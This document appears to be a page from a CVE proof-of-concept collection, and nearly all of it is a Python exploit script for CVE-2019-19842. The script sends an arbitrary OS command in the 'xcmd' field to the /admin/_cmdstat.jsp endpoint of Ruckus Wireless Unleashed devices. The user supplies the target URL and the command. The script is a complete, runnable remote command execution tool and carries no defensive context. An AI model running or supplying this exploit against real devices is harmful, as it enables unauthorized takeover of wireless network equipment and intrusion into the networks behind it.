4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-19842.py PY
import asyncio, aiohttp, argparse, uuid, ssl

class CVE_2019_19842:

    def __init__(self, command, mac_address=None, base_url=None):
        self.command = command
        self.mac_address = mac_address or self._get_mac_address()
        self.url = self._format_url(base_url)

    @staticmethod
    def _get_mac_address():
        return ':'.join(f'{(uuid.getnode() >> elements) & 0xff:02x}' for elements in range(0, 2 * 6, 2)[::-1])

    @staticmethod
    def _format_url(base_url):
        return f'{base_url.rstrip("/")}/admin/_cmdstat.jsp'

    async def _execute_command(self):
        payload = {'mac': self.mac_address, 'xcmd': self.command}
        ssl_context = ssl.create_default_context()
        ssl_context.options |= ssl.OP_NO_SSLv3
        ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2

        async with aiohttp.ClientSession() as session:
            try:
                async with session.post(self.url, data=payload, ssl=ssl_context) as response:
                    response_text = await response.text()
                    if response.status == 200:
                        print(f'Command executed successfully.\nCommand: {self.command}')
                    else:
                        print(f'Failed to execute command. Status code: {response.status}')
                    print('Response:', response_text)
            except (aiohttp.ClientError, asyncio.TimeoutError, ssl.SSLError) as e:
                print(f'Error: {e}')
            except Exception as e:
                print(f'An unexpected error occurred: {e}')

    async def run(self):
        await self._execute_command()

def main():
    parser = argparse.ArgumentParser(description='Execute OS command via Ruckus Wireless Unleashed.')
    parser.add_argument('command', type=str, help='OS command to execute')
    parser.add_argument('--mac', type=str, help='MAC address to target (optional)')
    parser.add_argument('--url', type=str, required=True, help='Base URL for the command')
    args = parser.parse_args()

    executor = CVE_2019_19842(args.command, args.mac, args.url)
    asyncio.run(executor.run())

if __name__ == '__main__':
    main()